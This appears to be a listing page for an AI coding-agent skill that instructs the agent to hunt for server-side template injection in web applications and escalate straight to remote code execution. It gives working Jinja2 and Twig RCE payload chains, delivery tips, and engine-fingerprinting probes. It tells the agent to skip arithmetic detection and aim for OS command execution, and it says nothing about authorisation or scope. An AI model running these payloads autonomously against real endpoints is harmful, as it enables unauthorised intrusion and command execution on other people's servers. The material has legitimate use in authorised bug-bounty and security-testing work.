Hunt Ssti
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig...
Install
npx skills add Zyrexnn/Cybermes --skill hunt-ssti -g -a claude-code -y- Repository
- Zyrexnn/Cybermes987
- Category
- Documents
- Updated
- 3d ago
- License
- Apache-2.0
- Context cost
- Mediumabout 1,598 tokens
- Runs scripts
- No, instructions only
What it does
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render.
Autonomous Testing Priority
Escalate straight to RCE, don't stop at arithmetic detection.
Arithmetic probes ({{7*7}}→49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like <input value="{{7*7}}">), producing a false negative even when injection exists.
Order of attack:
- Try Jinja2 RCE first (covers Python/Flask, the most common stack in modern web apps):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - If the endpoint is a traditional web form, send as form-encoded body, NOT JSON:
JSON bodies are silently ignored by form-processing endpoints (Content-Type: application/x-www-form-urlencoded field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}request.form['field']sees nothing). - If Jinja2 fails, try Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.
Proof: Command output (uid=N(user) gid=...) in the response confirms RCE. If the output appears in HTML (inside a <div> or <pre>), that still counts, the format is irrelevant, the content is the evidence.
14. SSTI, SERVER-SIDE TEMPLATE INJECTION
Easy to detect, high payout ($2K, $8K). Direct path to RCE.
Detection Payloads (try all)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
